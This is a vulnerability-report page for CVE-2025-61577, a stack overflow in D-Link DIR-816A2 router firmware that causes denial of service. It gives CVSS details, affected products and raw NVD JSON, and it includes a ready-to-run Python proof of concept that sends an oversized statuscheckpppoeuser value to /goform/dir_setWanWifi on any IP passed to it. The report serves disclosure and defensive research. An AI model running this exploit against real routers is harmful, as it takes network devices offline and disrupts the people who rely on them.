Security Vulnerability Report
中文
CVE-2025-61577 CVSS 7.5 HIGH

CVE-2025-61577

Published: 2025-10-09 16:15:48
Last Modified: 2025-10-29 13:55:43

Description

D-Link DIR-816A2_FWv1.10CNB05 was discovered to contain a stack overflow via the statuscheckpppoeuser parameter in the dir_setWanWifi function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-816_firmware:1.10cnb05:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-816:a2:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-816A2_FWv1.10CNB05

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61577 PoC - D-Link DIR-816A2 Stack Overflow via statuscheckpppoeuser # Vulnerability: Stack buffer overflow in dir_setWanWifi function # Affected: D-Link DIR-816A2_FWv1.10CNB05 # Impact: Denial of Service (DoS) import requests import sys TARGET_URL = "http://TARGET_IP" ENDPOINT = "/goform/dir_setWanWifi" # Craft a malicious payload with oversized statuscheckpppoeuser parameter # The overflow occurs when the parameter exceeds the stack buffer size payload = "A" * 4096 # Overflow payload length # Construct the malicious request data = { "statuscheckpppoeuser": payload, # Additional parameters may be required depending on firmware version } def exploit(target_ip): url = f"http://{target_ip}{ENDPOINT}" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") print("[+] Exploit sent successfully - target may crash/reboot") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive (possible crash)") except requests.exceptions.ConnectionError: print("[+] Connection refused (target may have crashed)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61577", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:48.277", "lastModified": "2025-10-29T13:55:42.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR-816A2_FWv1.10CNB05 was discovered to contain a stack overflow via the statuscheckpppoeuser parameter in the dir_setWanWifi function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-816_firmware:1.10cnb05:*:*:*:*:*:*:*", "matchCriteriaId": "6A221E99-E2B0-4C57-9263-9A86EFF8746E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-816:a2:*:*:*:*:*:*:*", "matchCriteriaId": "1A3AC507-7219-401E-AC60-12D96382E4B7"}]}]}], "references": [{"url": "https://github.com/Flechao1/iot-vuln/blob/main/dlink-816-b05.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/peris-navince/founded-0-days/blob/main/Dlink/816/dir_setWanWifi/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}